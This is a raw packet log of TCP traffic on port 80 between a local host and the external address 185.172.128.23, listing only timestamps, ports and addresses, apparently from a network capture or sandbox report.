Apr 17, 2024 06:57:14.644218922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644233942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644237995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644254923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644273043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644469023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644495964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644511938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644511938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644526958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644532919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644550085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644571066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644715071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644763947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644764900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644781113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644795895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.644805908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644824982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.644854069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645083904 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645100117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645117044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645131111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645132065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645132065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645167112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645167112 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645500898 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645538092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645551920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645555019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645570040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645575047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645593882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645610094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645807028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645833015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645848989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645855904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645863056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.645873070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645894051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.645922899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.670897007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.670917034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.670932055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.670945883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.671083927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.671084881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.671084881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.671663046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.671679974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.671695948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.671709061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.671725035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.671761036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.671761036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672048092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672106028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672116995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672126055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672139883 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672149897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672174931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672174931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672607899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672626019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672641993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672651052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672657967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.672678947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672678947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.672708035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.681901932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.681926966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.681941986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.681957960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.681957006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.681982994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.681982994 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.681999922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695326090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695343018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695358992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695372105 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695385933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695385933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695417881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695417881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695660114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695676088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695692062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695707083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.695707083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695736885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695736885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695758104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.695982933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696026087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696034908 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696043015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696063042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696064949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696091890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696110010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696335077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696384907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696399927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696415901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696430922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696440935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696468115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696468115 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696892023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696919918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696937084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696950912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.696954012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696954012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.696983099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.697004080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.697855949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.697871923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.697887897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.697901964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.697906971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.697937965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.697937965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.698568106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.698586941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.698616028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.698628902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.698631048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.698643923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.698674917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.698705912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699223042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699239969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699255943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699270964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699271917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699301958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699301958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699333906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699572086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699620962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699621916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699636936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699651957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.699667931 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699698925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.699698925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701148033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701174974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701191902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701205015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701206923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701236010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701236010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701265097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701503992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701549053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701555014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701565981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701580048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701591969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701617002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701617002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701775074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701823950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701838970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701854944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701869011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.701903105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.701934099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702183962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702199936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702217102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702230930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702233076 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702267885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702267885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702267885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702429056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702454090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702470064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702480078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702485085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702498913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702518940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702828884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702846050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702862978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702876091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702877045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.702905893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702905893 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.702934027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703223944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703252077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703268051 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703274012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703283072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703294039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703314066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703341961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703521013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703572035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703574896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703592062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703607082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703629971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703630924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703660965 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.703955889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703973055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.703989029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704005003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704008102 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704037905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704037905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704066038 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704257011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704273939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704289913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704304934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704308987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704339027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704339027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704361916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704560041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704576969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704591990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704606056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.704612970 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704641104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.704657078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705024004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705069065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705076933 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705092907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705106974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705118895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705148935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705148935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705359936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705408096 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705420017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705435038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705449104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705466986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705497026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705497980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705734968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705765009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705780983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705786943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705796003 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.705804110 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705828905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.705828905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729165077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729192019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729207993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729222059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729332924 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729334116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729334116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729334116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729743004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729758978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729774952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729789019 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.729804039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729804039 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729837894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.729839087 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730371952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730389118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730405092 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730420113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730429888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730429888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730462074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730462074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730561018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730595112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730602026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730611086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730626106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.730645895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730645895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.730675936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.739721060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.739737988 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.739753962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.739768028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.739773035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.739808083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.739808083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753263950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753282070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753298044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753313065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753451109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753452063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753452063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753452063 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753510952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753568888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753582001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753597975 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753612995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753634930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753634930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753655910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.753961086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753977060 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.753993034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754008055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754019022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754019976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754057884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754057884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754226923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754281998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754285097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754297972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754317045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.754326105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.754348993 CEST	49730	80	192.168.2.4	185.172.128.23
